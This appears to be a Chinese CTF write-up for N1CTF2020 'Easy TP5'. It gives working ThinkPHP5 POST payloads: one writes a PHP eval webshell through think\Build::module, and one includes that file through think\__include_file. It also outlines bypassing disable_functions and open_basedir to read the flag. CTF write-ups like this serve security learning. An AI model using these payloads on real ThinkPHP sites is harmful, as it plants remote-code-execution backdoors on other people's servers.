[N1CTF2020]Easy TP5
知识点
解题步骤
tp5,根据上面那条链子可以进行代码执行。但是一堆函数被ban了。无奈之下只好去看wp:https://r3kapig.com/writeup/20201020-n1ctf/#easy_tp5
先post:_method=__construct&filter[]=think\Build::module&method=GET&get[]=index//../../public/?><?php eval($_REQUEST[1]);
本地调试了一下看看原理:
可以看到buildHello传入了
index//../../public/?><?php eval($_REQUEST[1]);
,跟进看看:由于没有这个文件,所以会进入if,然后就将木马写入。而且会新建一个
?><?php eval($_REQUEST[1]);
模块在public下。所以写入shell的文件路径为:/public/?><?php eval($_REQUEST[1]);/Index.php
这个文件访问不到,但是可以用文件包含:
_method=__construct&filter[]=think\__include_file&method=GET&get[]=/var/www/html/public/?><?php eval($_REQUEST[1]);/controller/Index.php
触发Loader类里面的__include_file函数,然后getshell。
根据wp的做法,蚁剑连接之后直接bypass disable_function。但是buu打不通。
看了一波phpinfo:php 版本7.4.3
刚好打不了,gg了本来。但是发现disable_function没有过滤file_get_contents,就打算用这个函数。但是有open_basedir限制,直接bypass就能用file_get_contents获取flag
由于之前已经mkdir('tmpdir')了,所以上面截图就没加,除了第一次要加上,其他都不用加,要不然就报错